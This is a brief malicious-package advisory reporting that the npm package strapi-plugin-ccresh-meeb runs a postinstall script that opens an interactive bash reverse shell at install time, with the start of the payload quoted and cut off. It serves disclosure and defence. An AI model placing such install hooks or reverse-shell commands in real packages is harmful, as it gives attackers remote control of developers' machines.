Malicious code in strapi-plugin-ccresh-meeb (npm)

Source: amazon-inspector 5c91c798c5a3429b252f74193e2a84c6406347ced8fa9010bdd7d338af5c8797 The package's postinstall lifecycle script scripts.postinstall: node postinstall.js unconditionally invokes /bin/bash with an interactive reverse-shell payload at install time: bash -c 'bash -i...